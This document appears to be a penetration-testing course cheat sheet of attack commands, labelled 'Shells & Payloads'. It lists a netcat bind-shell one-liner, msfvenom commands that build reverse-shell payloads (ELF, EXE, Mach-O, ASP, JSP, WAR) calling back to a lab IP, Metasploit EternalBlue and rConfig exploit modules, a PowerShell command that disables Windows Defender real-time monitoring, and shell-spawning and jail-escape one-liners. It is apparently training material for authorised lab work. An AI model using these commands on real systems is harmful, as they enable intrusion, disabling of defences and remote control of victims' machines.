Shells & Payloads

Commands Description
xfreerdp /v:10.129.x.x /u:user /p:password CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol
env Works with many different command language interpreters to discover the environmental variables of a system. This is a great way to find out which shell language is in use
sudo nc -lvnp <port #> Starts a netcat listener on a specified port
nc -nv <ip address of computer with listener started><port being listened on> Connects to a netcat listener at the specified IP address and port
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f \| /bin/bash -i 2>&1 \| nc -l 10.129.41.200 7777 > /tmp/f Uses netcat to bind a shell (/bin/bash) the specified IP address and port. This allows for a shell session to be served remotely to anyone connecting to the computer this command has been issued on
Set-MpPreference -DisableRealtimeMonitoring $true Powershell command using to disable real time monitoring in Windows Defender
use exploit/windows/smb/psexec Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec
shell Command used in a meterpreter shell session to drop into a system shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf MSFvenom command used to generate a linux-based reverse shell stageless payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe MSFvenom command used to generate a Windows-based reverse shell stageless payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho MSFvenom command used to generate a MacOS-based reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp MSFvenom command used to generate a ASP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp MSFvenom command used to generate a JSP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload
use auxiliary/scanner/smb/smb_ms17_010 Metasploit exploit module used to check if a host is vulnerable to ms17_010
use exploit/windows/smb/ms17_010_psexec Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17_010
use exploit/linux/http/rconfig_vendors_auth_file_upload_rce Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6
python -c 'import pty; pty.spawn("/bin/sh")' Python command used to spawn an interactive shell on a linux-based system
/bin/sh -i Spawns an interactive shell on a linux-based system
perl —e 'exec "/bin/sh";' Uses perl to spawn an interactive shell on a linux-based system
ruby: exec "/bin/sh" Uses ruby to spawn an interactive shell on a linux-based system
Lua: os.execute('/bin/sh') Uses Lua to spawn an interactive shell on a linux-based system
awk 'BEGIN {system("/bin/sh")}' Uses awk command to spawn an interactive shell on a linux-based system
find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \; Uses find command to spawn an interactive shell on a linux-based system
find . -exec /bin/sh \; -quit An alternative way to use the find command to spawn an interactive shell on a linux-based system
vim -c ':!/bin/sh' Uses the text-editor VIM to spawn an interactive shell. Can be used to escape "jail-shells"
ls -la <path/to/fileorbinary> Used to list files & directories on a linux-based system and shows the permission for each file in the chosen directory. Can be used to look for binaries that we have permission to execute
sudo -l Displays the commands that the currently logged on user can run as sudo
/usr/share/webshells/laudanum Location of laudanum webshells on ParrotOS and attackhost
/usr/share/nishang/Antak-WebShell Location of Antak-Webshell on Parrot OS and attackhost